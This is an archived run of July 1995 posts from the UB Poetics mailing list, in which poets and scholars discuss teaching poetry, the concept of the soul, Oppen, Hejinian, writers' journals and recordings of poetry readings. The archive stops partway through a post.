In a vain head and doubles heart.

BODY

O who shall me deliver whole
From bonds of this tyrannic soul?
which stretch'd upright, impales me so
That mine own precipice I go;
And warms and moves this needless frame
(A fever could but do the same);
And wanting where its spite to try,
Has made me live to let me die;
a body that could never rest,
Since this ill spirit it possess'd

Andrew Marvell "A Dialogue between the Soul and the Body"

Lindz

↑ Index

378. Carl Lynden Peters

Re: doing the one-two writing/teaching

Tue 18 Jul 1995

>
> Carl, wouldn't it get in the way, not knowing what the instruction
> means: write a poem. Write a what? what counts as a poem? finding
> that out is something between teacher and student. Do you get faced
> with: I cannot do this exercise, because you have provided
> insufficient protocols for me to begin. (I got this last year from
> disgruntled students who had, with some additional specifications,
> been asked to write an introduction to an imaginary exhibition. How
> much worse with a "poem". What models for poem do you 1 offer,
> 2 propose,3 advise, 4 leave blank?)
>
tony,

--these are important questions and i appreciate them, thank-you. interesting: i just just talked with one of my instructors for medieval lit. abt an essay draft. she told me it was an excellent paper, but distant. _distant_! --i had know idea what she meant by that --> for a second. then she noted to me that "there is no _you_ in this paper." i asked her: do you mean there's no _poetical_ i? "exactly," she said. i suspect that it is my unfamiliarity with the material which inspired the death of my poetical i in this paper. but i'm going to go back to this essay

and find it. i'm not sure how but this relates to your post. we are words and our meanings change (bp)

take care,
carl

↑ Index

379. Marjorie Perloff
Re: POETICS Digest - 16 Jul 1995 to 17 Jul 1995
Tue 18 Jul 1995

Steve--the Hatlen essay on Oppen's "Wittgensteinian" (as opposed to Poundian or Imagist) aesthetic is in SAGETRIEB, one of the first issues so I think around '83. I don't have the reference at my fingertips--if you can't find, I'll look at my files. I think it was vol. 1 or 2 of SAGETRIEB and he's arguing that Oppen and Zukofsky can't be understood via the Pound-Williams axis. Now that I think of it, the essay deals more with Zukofsky than with Oppen but the point holds because Burt is talking about the Objectivists in a broader way.

Best, Marjorie P.

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380. Charles Alexander
Re: doing the one-two writing/teaching
Tue 18 Jul 1995

"Not all of us teach poetry as `art,' either."

David Kellogg, could you explain this statement? If not art, then what? Or perhaps we have different definitions of art?

thanks,

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

381. Ryan Knighton
Re: doing the one-two writing/teaching
Tue 18 Jul 1995

Charles Alexander asked David Kellog, and I'm paraphrasing, If we don't teach poetry as art, then what do we teach it as.

Well, I'd like to butt in, if I may. I haven't taught poetry, yet. But the first alternative that jumps to my mind is poetry as symbolic action (Burke). Genres and formal registers as the signatures of a or many discursive communities. I suppose, if this is not teaching it as "art", then this goes back to--oh god, no==poetry as politics and authority (or authorities). I'll stop here because i don't want to go out there today. I'm feeling fragile.

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382. George Bowering
Re: Niedecker/Loy/George
Tue 18 Jul 1995

Further for Willa J. (thanks):

You might enjoy, if you havent seen it, my colleague Jenny Penberthy's collection of Niedecker's letters to Zukofsky. The letters dart and pin almost as nicely as do the poems.

Oh, Cambridge University Press, 1993.

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383. Ron Silliman
Re: recent future reading
Tue 18 Jul 1995

>Various chunks of Ron Silliman's Alphabet - Ron, when you wrote a week or
>two ago about not revising much in the Alphabet, did you also mean that you
>don't rearrange the order of sentences?
>

Well, I regularly keep a notebook of sentences as they occur to me and for some projects (as with the still-in-progress K section of the Alphabet, Ketjak2: Caravan of Affect) I use them a lot. With others not at all. Otherwise, no, I don't rearrange the order of sentences.

>Progress by Barrett Watten - this month's book for the Seattle reading
>group (looking at Mike Magoolaghan's list, he seems to think he can get by
>with just reading the (very good) new Aerial on Watten. Now _that_, Mike,
>would be pretentious);

Progress remains one of my two or three favorite books in the universe. Enjoy!

Ron

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384. Marisa A Januzzi
misreadings/Noakes (a bit l-o-n-g...)
Tue 18 Jul 1995

It is really such a pleasure to post to this list (esp. at 4:30AM!)-- thanks to all (Ryan, Rod, Steve, Maria, Burt, Maria, and several back-channelers) who ask and rescue so intriguingly.

Susan Noakes' essay "On the Superficiality of Women" is in a collection she edited with Clayton Koelb, called THE COMPARATIVE PERSPECTIVE ON LITERATURE (Cornell UP 1988). Elements of the argument may well appear in her book TIMELY READING: BETWEEN EXEGESIS AND INTERPRETATION-- which I haven't seen, but whose title illustrates, I'd guess, her attempt to re-mark the dichotomous western repertoire of 'figures of reading' (good/bad, active/passive, penetrating/superficial, legitimate/illegitimate, male/female). Noakes reads Bonaventure, Dante, Sterne, Rousseau, and Flaubert for depictions of female misreaders whose "superficial reading is an indicator of moral deficiency" (it ain't hard for her to find them there) not jest to show that this is a privileged topos in western lit., but also (she hopes) to ease the impasse in the field of hermeneutics (1988: deconstruction & its critics) by questioning the meaning of these obsessively dichotomous signs of reading. (well, okay, 'jest' was a joke!)

As I reread the piece, I felt that it was a shame that Noakes doesn't just recuperate this figure of the cheeky "suerficial" misreader for feminist or otherwise devious purposes, which is what I think Hejinian does at times, especially in MY LIFE. Of course I would have to work a lot harder to make this argument run smoothly (for one thing, I'm working with a model of poetic text materialized AS a sort of reading.. for another, I'm nowhere near my copy of Hejinian's book.)

The word 'misreading' was rescued ably by Steve-- thanks Steve!-- and I wld like to add jazz improvisation to his suggested list of its kindred techniques (palimpsest, serial form). Hejinian absolutely seems to me a 'clean' writer: very careful with/in her writing, working word by word and even syllable by syllable to create patterns and inviting drifts of meaning. It seems paradoxically controlled-- and yet-- I saw her read at Temple a year or so back, and was struck by the way she tossed the pages to the side, once read. She even called attention to the gesture as one she picked up from watching jazz musicians perform, and it really brought the element of purposive play from within her work.

Rod Smith's posting, then, interested me: I think when anyone mines the less 'controllable' resources of language profoundly-- the results look somehow 'awry,' a-miss, unmasterful... this is worse when the writer's female and others (!editors!) all too readily question their 'mastery' of the language. This happened with Dickinson and it happened with Loy-- both of whom are, like Hejinian of course-- miles ahead of their readers. Like Maria I am readily engrossed by writers who seem to be "getting the idea just a little bit wrong accidentally on purpose"-- and end up reinventing the medium in the process.

Just to clarify my original post, then, borrowing from Maria's almost miraculous paraphrase: "Langpo 'enacts' or literalizes a process of (an arguably politicized or politicizable) 'mis'reading that is traditionally associated with or practiced by women"-- 'women' understood as discursive entities (Noakes' female misreaders: Eve, Francesca, Emma Bovary...), as flesh-and-blood-and-soul language practitioners, and as textual operations or characters within language itself.

Silly, probably, in these last 5AM formulations... but-- tenable?

Marisa <[redacted]>

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385. Ron Silliman

Gnostic Howe?

Tue 18 Jul 1995

Rae, you wrote,
>

> "You ask if there are any Gnostics left in poetry (since the beats). I would suggest Fanny Howe."

I would love to learn more (particularly since I tend to think Fanny among the most underappreciated poets of my generation). I love the poetry, but my lack of the terms here always prevents me from seeing her lyrics, even at their most openly spiritual, as Gnostic. Can you give an example of how it informs a particular poem?

Ron
[redacted]

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386. Rachel Loden
who is Gaspara Stampa
Tue 18 Jul 1995

Marisa,

Found this in _Rilke, a Life_ by Wolfgang Leppmann:

"While working on _Malte Laurids Brigge_, he became engrossed once more in the type of unrequited love, transcending its object, that he found represented by women like the Renaissance poetess Gaspara Stampa..."

Reading a little in this book makes me long for an antidote of Kafka, or at least Woody Allen: "Getting through the night is becoming harder and harder. Last evening, I had the uneasy feeling that some men were trying to break into my room to shampoo me. But why? I kept imagining I saw shadowy forms, and at 3 a.m. the underwear I had draped over a chair resembled the Kaiser on roller skates. When I finally did fall asleep, I had that same hideous nightmare in which a woodchuck is trying to claim my prize at a raffle. Despair."

Hope the (Stampa) reference helps--

Rachel Loden

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387. David McAleavey
Oppen & Heidegger, etc.
Tue 18 Jul 1995

Years ago I explored a little Heidegger in connection with Oppen. I do believe Oppen was affected by H., validated in his perception of the wondrousness of the moment, or of at least some moments of existential focus & attunement (related to the Heideggerian notion of "clearing"). No doubt Oppen was also affected by Wittgenstein; and by modern mathematics; and other philosophers.

When I spent a couple of weeks with George and Mary in January 1978, in S.F., examining their library, his notes, and speaking with them several hours a day, I found a copy of Heidegger on the table beside the reading chair in their kitchen/dining room/living room, right beside the box of fig newtons. But George said to me, "I don't know what I really got out of that [referring to Heidegger] -- I don't really understand it," -- or words which I took to have that meaning. He was already complaining a lot about his loss of memory (though he actually appeared unimpeded, and to be able to recall a great deal), and his being somewhat befuddled by his earlier self's seeming to have been nourished by Heidegger =could= conceivably be explained as relating to the onset of weakened intellectual acumen due to senility. Or it could be explained by the

older man's judgment that his younger self hadn't known as much as much as he'd thought at the time. Which could be correct or incorrect.

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388. David Kellogg
Re: doing the one-two writing/teaching
Tue 18 Jul 1995

On Mon, 17 Jul 1995, Charles Alexander wrote:

> *"Not all of us teach poetry as `art,' either."*
>
> *David Kellogg, could you explain this statement? If not art, then what? Or perhaps we have different definitions of art?*

My own work focuses on poetry as a social field -- a discourse which, like any other, has certain self-emerging rules, codes of reproduction, and so forth. I want to analyze this field without isolating certain things as "art." Rather, I analyze the very process of such isolation which goes on very well without my help, thank you very much. This is not to exclude perspectives which art-ify the subject, only to ensure that other perspectives, including my rather sociological one, are not barred from the get-go.

For more info: I suppose this is the time to mention my essay forthcoming in *Cultural Critique*, who knows when, this summer or fall, called "Literary History and the Problems of Oppositional Practice in Contemporary Poetry." It makes an argument for the usefulness of a concept of a social field, which I call "the poetic," bearing roughly the same resemblance to poetry as "sexuality" does to "sex" in Foucault.

Cheers,
David
~~~
~~~

389. David Kellogg
Re: doing the one-two writing/teaching
Tue 18 Jul 1995

On Mon, 17 Jul 1995, Ryan Knighton wrote:

> *Charles Alexander asked David Kellog, and I'm paraphrasing, If we don't teach poetry as art, then what do we teach it as.*
>
> *Well, I'd like to butt in, if I may. I haven't taught poetry, yet. But the first alternative that jumps to my mind is poetry as symbolic action (Burke). Genres and formal registers as the signatures of a or many discursive communities. I suppose, if this is not teaching it as "art", then this goes back to--oh god, no==poetry as politics and authority (or authorities). I'll stop here because i don't want to go out there today. I'm feeling fragile.*

Righto! Though we don't need the self-justification of political ends to rationalize the analysis of the workings of a community. If there's no outside such communities (Burke), texts (Derrida), fields (Bourdieu), then transcendence is a sham anyway, and political as well as artistic forms of liberation need to be qualified.

Cheers,
David
~~~
~~~

David Kellogg
University Writing Program
Duke University
Durham, NC 27708
[redacted]

The moment is at hand.
Take one another
and eat.

--Thomas Kinsella

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391. **Judy Schwartz**
Re: POETICS Digest - 16 Jul 1995 to 17 Jul 1995
Tue 18 Jul 1995

In reply to Shaunanne Tangney's message of July 17 (abou Cixous and the soul being in line with the body): I support this idea, but I would suggest it came about much earlier, i.e. Walt Whitman: "Was somebody asking to see the soul?/See, your own shape and countenance, persons,/substances, beasts, the trees, the running rivers,/the rocks and sands." --
Judy Schwartz

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392. **Judy Schwartz**
Re: POETICS Digest - 16 Jul 1995 to 17 Jul 1995
Tue 18 Jul 1995

On July 16 Lindz Williamson wrote: "The mind and body are needed in order to function in life, but a soul is need in death." I find this difficult to contend with, as it implies first a strangely robotic view of living beings , (although I know western tradition would support a kind of separation of the two) and second, an insistence on the Christian view of the soul, which seems to negate what I find most vital to the line of poetry descending from the Imagist/Objectivist tradition. George Oppen used the word "faith" to describe his poetics (and here I will quote him from Michael Heller's book on the Objectivists): "faith" "that the nouns do refer to something; that it's there , that it's true, the whole implication of these nouns; that appearances repres ent reality, whether or not they misrepresent it." I like this use of the word "faith," and feel that term with strongly religious connotations can shed light on secular poetry, and, in so doing, be reclaimed so to speak. I guess my point here is that I am sorry to see the word "soul" condemned to "death," when it has so much to offer to the living.

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393. Herb Levy
Re: manipulators
Tue 18 Jul 1995

luigi bob drake, thanks a lot for mentioning TextMangler and Deconstructor.

While looking for these programs this morning, I found what should be a useful website for John Geraets, Bruce Malcolm, and anyone else interested in algorithmically distorting previously written text. The page is called <Computer Generated Writing> & the URL is <http://www.uio.no/~mwatz/c-g.writing>.

From this page you can download most of the programs previously mentioned and many others for Macintosh, IBM, and Unix machines. There are also links to related sites, some of which generate text while you wait. For example, if there are any graduate students who haven't chosen a dissertation topic on the list, there's a link to a site that generates postmodern thesis abstracts.

I downloaded a few programs, but won't have a chance to try them out for a day or two.

Herb Levy
[redacted]

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394. Alan Golding
Various
Tue 18 Jul 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Someone (sorry I forget who) recently mentioned a Lawrence Rainey essay on HD that apparently calls her a minor poet because she didn't write manifestoes or publicly articulate a poetics outside her poetry. I'd be interested to see this--can you please provide the full reference? If this summary is accurate, I find it mind-boggling that this argument can still get made. But then it's not so long ago that a highly regarded Dickinson scholar, David Porter, was questioning ED's "majority" ("divine majority"?) for the same reason.

Gale, thanks for the wonderful, moving quotations from Oppen. Every time I re-encounter him, which I try to do as often as possible, I'm reminded what a great human being he was as well as a great poet.

On another subject, does the list know about Robert Sheppard's ongoing labor of love, Pages, subtitled "resources for the linguistically innovative poetries" of the UK? Many of you will, but perhaps some won't. It's a great resource for texts of and information on current "experimental" British poetries, and the

arrival of recent issues on Cris Cheek and John Wilkinson coupled with the metion of Glyn Maxwell prompted me to mention it. Each issue of Pages is about 20-25 pages, around half or so devoted to new work by the writer and the other half to a couple of short essays on his/her work and a bibliography. I've found it a great way to keep in touch with and learn more about recent interesting British work. Issues beyond those I've mentioned have included (I'm working from memory here) Hazel Smith, Ulli Freer, Gilbert Adair, Adrian Clarke. Robert plans twelve issues on 12 writers, and I'm not sure where we're up to, but they're available from Robert Sheppard, 239 Lessingham Avenue, London SW17. Single issues are 3 pounds sterling, or all 12 for 12 pounds (though I paid in dollars). Talk your libraries into getting them too!

I lost a ton of mail from around 6/30 to 7/12 in a system crash, so if anyone wrote to me then, please try again. It's not that I'm ignoring you!

Alan

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395. **Herb Levy**

Alphabetic Progress (was Re: recent future reading)

Tue 18 Jul 1995

> *Various chunks of Ron Silliman's Alphabet - Ron, when you wrote a week or*
> *two ago about not revising much in the Alphabet, did you also mean that you*
> *don't rearrange the order of sentences?*
>
> *Well, I regularly keep a notebook of sentences as they occur to me and*
> *for some projects (as with the still-in-progress K section of the*
> *Alphabet, Ketjak2: Caravan of Affect) I use them a lot. With others not*
> *at all. Otherwise, no, I don't rearrange the order of sentences.*

Thanks for the clarification, Ron. I was thinking mostly of the extreme patterning of sentence-types in Garfield (if "patterning" is the right term for what looks like pretty even distribution) or the 12 twelve-line verses that read like parody/homages early on in Oz, but also some of the slighter stylistic differences between months in Jones (which otherwise reads like its in chron order like the other sentence-a-day leter/sections).

> *Progress by Barrett Watten - this month's book for the Seattle reading*
> *group (looking at Mike Magoolaghan's list, he seems to think he can get by*
> *with just reading the (very good) new Aerial on Watten. Now _that_,*
> *Mike,*

> *would be pretentious);*
>
> *Progress remains one of my two or three favorite books in the universe.*
> *Enjoy!*

I hadn't gotten around to Progress when it came out, but I'm liking it a lot. & now that my teasing aside to Mike has been posted to <poetics> _twice_, I'd better have some things to say about it in a couple of weeks.

Herb Levy
[redacted]

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396. **Herb Levy**
Re: the one-two writing/teaching
Tue 18 Jul 1995

Hearing poetry read aloud is great: everyone teaching poetry should read some, get their students to read and bring in poets and/or tapes of poets.

& getting students to try writing poetry is a cool idea, too. But it won't work with every student, every teacher, or at every school.

And where do you draw the line on something like this?

Do students have to write novels to understand the way of thinking that novelists bring to bear on their work (Do they have to write one in the style of Kathy Acker and then one in the style of William Gaddis and then one in the style of Angela Carter and then one in the style of Edmund Crispin, so they get a sense of the breadth of what passes for novels today?)

Do they have to know how to paint to take art history classes?

For that matter, do you have to know how to sew to wear clothes or to like the way they look? Do you have to be able to fix a car (I won't even say build one) to be able to drive?

One of the problems people have in learning advanced math & science comes from being expected to recreate the thinking used in labwork or proofs, without having enough background to understand where the thinking comes from.

& let's face it, poetry isn't much less arcane than math or science for most people.

This is probably one of those posts for which I need the disclaimer that I'm not a poet.

I'm not a teacher, either.

Herb Levy
[redacted]

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397. Jorge Guitart
location of the soul
Tue 18 Jul 1995

the location of the soul in the body by helene cixous ranks as one of the towering intellectual achievements of our time.

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398. J. H. Krick
Imagining Beckett's Notebooks
Tue 18 Jul 1995

Hello List,

Lately I've been thinking a lot about the notebooks (journals? diaries?) of Samuel Beckett. He must certainly have kept some, and imagining what they might contain has filled a few idle moments rather roundly.

Where are they? What has become of them? Is anyone at work editing them or do they languish somewhere, not to see the light of day for years hence? Does anyone know anything about this?

I should mention that my interest in notebooks, diaries, and journals runs far beyond fantasizing about Beckett's possible jottings. My groovy, now, a-go-go lifestyle only allows me to read for pleasure a very little bit, certainly not with the sustained attention required to complete even a short novel read in a linear fashion in a reasonable amount of time. Thus I like things that can be dipped into almost anywhere, at any time, without the need to maintain any sort of continuity. (Like poetry).

Some examples of the genre I've been through are Gide's notebooks, a little volume of Ionesco called, I believe, "Past/Present, Present/Past," a number of Antaeus devoted to the form, John Cheever's journal, and, and of course Kafka, uh....others. Can anyone recommend any of this sort of writing that I should know about?

I suppose this thing could lead into a more general discussion (as these things seem to do) of whether the author should (does?) have a concious literary intent in

journalizing. Can such a thing be avoided? Can someone write
a journal which is REALLY not intended for another reader?

Lurking here,
John Krick

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399. **Rod Smith**
Re: Holy Soul Jelly Roll
Tue 18 Jul 1995

Allen Ginsberg's location of the soul within the jelly roll ranks as one of the great gastronomical achievements of our times. Yum yum.

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400. **maria damon**
Re: innocence and language
Tue 18 Jul 1995

In message <[redacted]> UB Poetics
discussion group writes:
> > was being read/lauded on the poetics list. she also has an essay in
> > the jonathan boyarin collection i mentioned a few months ago, from
> > UMN press, on the anthropology of reading (can't remember the main
> > title, book's in office, i;m at home)
>
> Maria, is that _The Ethnography of reading_?

yeah, that must be it.--md

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401. **Shaunanne Tangney**
Re: POETICS Digest - 16 Jul 1995 to 17 Jul 1995
Tue 18 Jul 1995

On Tue, 18 Jul 1995, Judy Schwartz wrote:

> *In reply to Shaunanne Tangney's message of July 17 (abou Cixous and the soul being in line with the body): I support this idea, but I would suggest it came about much earlier, i.e. Walt Whitman: "Was somebody asking to see the soul?/See, your own shape and countenance, persons,/substances, beasts, the trees, the running rivers,/the rocks and sands."*
> *--Judy Schwartz*

oh, yes, absolutely--lovely! old Walt!
--everything is always already written--
--ShaunAnne

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402. **Michael Boughn**
Re: Soul Train
Tue 18 Jul 1995

Today in the Globe and Mail, the TV reviewer in talking about a documentary on Antelope Valley CA referrd to the suburban housing developments there as "souless". What does that mean? On the CBC a couple of weeks ago I heard that 1955 lecture in which Leonard Bernstein explains jazz. At one point, he compares a song done by Bessy Smith and the same song done by an opera type. "Souless" might be a good word to describe the second version.

And then there's Mr. Olson who seems to have anticipated Ms. Cixious on this point:

> . . . Here then wld be what is left out? Or what is
> physiologically even the 'hard' (solid, palpable), that one's
> life is informed from and by one's own literal body--as well,
> that is, as the whole inner mechanism, which keeps us so damn
> busy (like eating, sleeping, urinating, dying there, by
> deteriorations of sd 'functions' of sd 'organs')--that this
> mid-thing between, which is what gets 'buried,' like, the
> flesh? bones, muscles, ligaments, etc., what one uses,
> literally, to get about etc
> that this is 'central,' that is--in this 1/2 of the
> picture--what they call THE SOUL, the intermediary, the
> intervening thing, the interruptor, the resistor. The self.
>
> --Proprioception, 1965

Best,
Mike
[redacted]

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403. **Michael Boughn**
HD and Rainey
Tue 18 Jul 1995

Dear Alan:

Yeah, the essay is in a collection called *Representing Modernist Texts*. It's an interesting essay. His main target is certain tendencies in HD scholarship which, from my point of view, can use some healthy criticism. The problem is that Rainey's miscogynism gets in the way, he's so anxious to tar feminist criticism generally. The attack on HD is by way of proving that all those girls are wrong and HD's really not all that good a poet. The point about her being an intellectual light weight because she didn't engage in polemics about poetics is part of his making of that case.

There was recently a big faluffle about it over on the HD list. I'd be interested to know what you think after you read it.

Best,
Mike
[redacted]

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404. maria damon
Re: Imagining Beckett's Notebooks
Tue 18 Jul 1995

J Krick writes:
> Hello List,
>
> Lately I've been thinking a lot about the notebooks
> (journals? diaries?) of Samuel Beckett.
> I should mention that my interest in notebooks, diaries, and
> journals runs far beyond fantasizing about Beckett's
> possible jottings. Can anyone recommend any of this sort of writing
that I should know about?

off the top, joe orton's diaries are a real kick. dorothy wordsworth's journals are the best vacation reading i've ever enjoyed. i think jenny penberthy, whose name was recently mentioned, is editing lorinne niedecker's journals. then there's always allen ginsberg's indian journals. --md

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405. Kenneth Goldsmith
computer generated text WWW site
Tue 18 Jul 1995

There is an amazing WWW page dedicated to computer generated text complete with zillions of programs and resources. It's wild.

http://www.uio.no/~mwatz/c-g.writing/

peace,
kenny g
==========
==========
[redacted]
http://wfmu.org/~kennyg

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406. **maria damon**
Re: the one-two writing/teaching
Tue 18 Jul 1995

---

herb levy writes:
> Hearing poetry read aloud is great: everyone teaching poetry should read
> some, get their students to read and bring in poets and/or tapes of poets.
>
> & getting students to try writing poetry is a cool idea, too. But it won't
> work with every student, every teacher, or at every school.
>
> And where do you draw the line on something like this?
>
well, the purposes are different. i don't do it only so that students can get a sense of being "inside" a particular writer's process, though that's part of it; sometimes, for the more analytically minded, it helps to illuminate what it is they think characterizes a writer's style. then we can discuss that, whether it's so or not, etc. for example, when i have students imitate a writer who is African American, often the students use what they think is Black English in ways tht the writer never does --in third person narration, when the writer only uses it in dialogue, or for characters that, in fact, use standard english. or, for example with Lyn Hejinian's My Life, some people wrote about their childhoods without using any other aspects of her style...in imitating ginsberg, some use lots of "obscenities" and others simply repeat the word "holy" at the beginning of lists of their friends and favorite hangouts. so its a useful exercise in several different ways. sometimes simply by emulating the sentence structure of, say, emily bronte students stretch their own syntactic imaginations.

and i do envy those who can sew their own clothes and fix their own cars, and do believe my life would be richer, or i'd be less intimidated by cars and clothes, if i knew even a few rudimentaries. i especially wish i knew how to brawl, physically, cuz i envy the insouciance with which people who do know how to take care of themselves in that way enter high-risk places at high-risk times of day/night.--md

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407. **maria damon**
Re: who is Gaspara Stampa
Tue 18 Jul 1995

---

rachel loden writes:
>
>
> Reading a little in this book makes me long for an antidote of
> Kafka, or at least Woody Allen: "Getting through the night is
> becoming harder and harder. Last evening, I had the uneasy
> feeling that some men were trying to break into my room to
> shampoo me. But why? I kept imagining I saw shadowy forms, and
> at 3 a.m. the underwear I had draped over a chair resembled the
> Kaiser on roller skates. When I finally did fall asleep, I
> had that same hideous nightmare in which a woodchuck is trying
> to claim my prize at a raffle. Despair."
>
>
this is, i take it, woody allen? i'm tempted to say, in a paroxysm of ethnic chauvinism, "but rilke could never write anything like this!" granted, allen becomes tiresomely predictable at times, but his more subtle confreres, for example kafka, lenny bruce et al, have that pretension-deflating knack that cynthia ozick, max weinreich, benjamin harshav and others have associated with a
"yiddish consciousness." somehow, i feel that i'm introducing a potentially explosive element into the list by saying this --don't flame me too badly,but i'm curious about what y'all think, folks.
waiting for the other shoe to drop,
md

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408. **Jorge Guitart**
Re: Holy Soul Jelly Roll
Tue 18 Jul 1995

Aristotle's location of the soul in the pineal gland ranks as one of the great anatomical achievements of classical times, despite his having being savaged by Allen Ginsberg almost in the same way that Steven P (in the Language Instinct) savaged Saint Benjamin Lee Whorf (or Einstein Newton to give an example from another field of human knowledge).

On Tue, 18 Jul 1995, Rod Smith wrote:

> *Allen Ginsberg's location of the soul within the jelly roll ranks as one of the great gastronomical achievements of our times. Yum yum.*

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409. Reginald Johanson
soul
Tue 18 Jul 1995

I've never seen the benefit of trying to define soul, or to try and make it a less hazy or indistinct concept as some listers have been trying to do--to the end of rejecting it as a meaningful idea/word. It's a word that crops up in the presence of a sense of depth, it's a word with no referent whatsoever except for this feeling of depth. How, from a materialist perspective, is this a problem/threat?

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410. Reginald Johanson
soul
Tue 18 Jul 1995

It seems that we could divide the listings on the issue of soul into two general areas--an irritated an impatient rejection of the word along materialistic lines, and a willingness to use the word and entertain the idea along sensual lines--that is, a willingness to use it in situations that seem to call for it. I like the irreverence of Filet-o-Soul and Soul train and baby's got soul and all of that. I guess I'm having a harder time understanding the sense of impatience that comes through in some of the postings, the desire to banish the idea altogether as an embarassing anachronism. Just because it's used in pop songs and sappy poetry doesn't make it nonsense, and just because it has been used by repressive religion to authorize repression doesn't make it any less of a present, pressing phenomenon. And it is just for this reason that we can't talk about it without some heat.

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411. Charles Watts
Re: Recording of Spicer reading Language?
Tue 18 Jul 1995

Yeah, I'm still on the list. Ryan, you missed it. We (the Contemporary Literature Collection at the Bennett Library, Simon Fraser University) have a tape of Spicer reading, with Robin Blaser and Stan Persky, at the New Design Gallery in Vancouver in June, 1965. He reads "Thing Language," "Intermissions,"

"Transformations," "Morphemics," "Phonemics," and "Graphemics." We have another copy of a tape on which Spicer reads all the foregoing, plus "Love Poems." I don't know -- haven't listened to them in a long time -- whether they are two recordings of the same reading or recordings of two separate readings, the one at the New Design Gallery, the other at Warren Tallman's.

Anyone can listen to these tapes here at SFU. If someone wants a copy for her own listening, she must apply to Spicer's literary executor, Robin Blaser, for authorization to allow a copy to be made. And we'll need a copy of that authorization on file in order to make the copy. Charges for fast copying and postage would apply. And the understanding would be that no further copies of that copy would be made.

Cheers,

Charles

> *When I was researching Spicer for George I didn't come across one (a reading of Language, that is. And that was my central focus). The Contemporary Lit. Collection here at Simon Fraser actually had one or two readings, I think, besides the Vancouver Lectures. I think Charles Watts is on the list still. He knows best. Charles?*

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412. **maria damon**
Re: adpoems
Tue 18 Jul 1995

found this at the glasses store while getting my glasses "stripped" of their "anti-reflective" coating --it's an ad for the KOURE eyeglass company. it's titled "The Sunshine in Me and KOURE" and i'll give only the last sentence, my favorite:

"As the sun goes down in the west making the sky blushing red, I'm wishing for the another tomorrow and KOURE is always along beside me."

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413. **Tony Green**
Re: doing the one-two writing...
Tue 18 Jul 1995

thanks, Rae, for the name, I haven't seen anything by Fanny Howe since I had a subscription to United Artists, so will have to check this out. Really dualist, really being lost in a fallen worlds, looking for outs for the poor soul?

I think it was reading Olson that led me to read Henry Corbin's Avicenna and the Visionary Recital, which has a good deal to do with a poetics that is "soul" orientated.

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414. Joseph Zitt
Re: Imagining Beckett's Notebooks
Tue 18 Jul 1995

On 18 Jul 95 at 14:21, maria damon wrote:

> *off the top, joe orton's diaries are a real kick. dorothy wordsworth's journals are the best vacation reading i've ever enjoyed. i think jenny penberthy, whose name was recently mentioned, is editing lorinne niedecker's journals. then there's always allen ginsberg's indian journals. --md*

There's also John Cage's "Diary: How to Improve the World (You Will Only Make Matters Worse)", sections of which appeare in various of his books from "A Year from Monday" on. There's a Wergo 10-(I think)-CD set of his reading of them. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

415. Aldon L. Nielsen
Re: The Recording Angel
Tue 18 Jul 1995

Since there appears to be some confusion on this matter, let me assure all and sundry that any tape I offer to dub for anybody is either in the public domain or has been made, by me, with the permission of the author.

The other confusion is due to my own hurry in writing. The Brathwaite LP's were, indeed of _The Arrivants_, and include Rights of Passage, not Middle Passage. The later tapes I made of Brathwaite include brief passages from Middle Passage. These are not for commercial circulation or rebroadcast, but can be listened to by them's what's doing research.

By the way, I've recently discovered that there is quite a bot of poetry available on tape from the Pacifica Archive here in L.A. at reasonable rates. Quite a bit as well as a bot. Much of this material is generally not known about, as it was never distributed through stores (nor made available on late night TV.) I've found one fascinating tape from a '64 poetry conference of some type held in

San Francsico; the tape I've got beginbs in the middle of things, so I'm nosing around Pacifica's microfiche to see what else may have been taped that week.

Apologies agin for all the flubs in my posts -- the cursor keys on this borrowed system don't do what you'd expect -- When I am in San Jose I am able to clean up the text before I send it -- but then I miss out on the sherr pleasures of "beginbs."

↑ Index

416. **Aldon L. Nielsen**
Re: Benjamin and Film?
Tue 18 Jul 1995

A colleague here asks if anyone knows of good critical work in film studies that makes extensive use of Walter Benjamin's work.

I know plenty about Benjamin, but little about film criticism. Anybody out there have any titles they can think of?

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417. **Burt Kimmelman**
Re: innocence and language
Tue 18 Jul 1995

---

okay, does anyone have an email address for Noakes, and the name of the article on the anthropo. of reading would be nice to have too. thanks so much.

burt

↑ Index

418. **Marisa A Januzzi**
Stampa/bedside
Tue 18 Jul 1995

Rilke dragging as Woody Allen: thanks Rachel Loden, for making me squint a lot at my screen and wish i'd gone to bed earlier last night!! Thanks too for the citation.

Note to John Krick: the question is, how much do you like wondering if you're a reading voyeur?! Better sometimes even than journals are writers love letters. Arthur Cravan's letters to Mina Loy for instance are amazing, but only in French I think-- like Musset's for George Sand, as some blurbwriting stunt artist says.

Woolf's journals are a sort of endless summer of disconnected wonderful reading.

And somebody ought to agree to publish Ted Berrigan's, which are full of unexpected twists. ----Marisa

↑ Index

419. Jonathan Brannen
Re: The Recording Angel
Wed 19 Jul 1995

Concerning dubs of commercial recordings: thanks to the Audio Home Recording Act of 1992, all blank audio media when purchased contain a tariff. These funds are intended to compensate copyright holders for loss of royalties that may result from home recordings. In other words every time you buy a blank cassette you are automatically making a royalty payment to a fund divied up between ASCAP, BMI and SESAC, organizations which exist to collect royalties for and distribute royalties to the copyright holder. Distribution is, of course, based on sales statistics. So the chances are much better that ASCAP will assume that the dubs being made are of Michael Jackson's HISTORY rather that Brathwaite's MIDDLE PASSAGE and give him the cash (give Jackson, that is) instead of, unfortunately, Brathwaite. The point is that although the recording industry doesn't want this to become common knowledge, you purchase the right to make a legal dub of commercially recorded materials every time you buy a blank tape as long as that dub isn't intended for resale. That less commercial "artists" will never see any of that money is an injustice, but it is a separate issue.

Jonathan Brannen

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420. Brian W Horihan
Re: who is Gaspara Stampa
Wed 19 Jul 1995

Marisa--this is kinda late, but if you're still wondering here's a note from my copy of Duino Elegies:

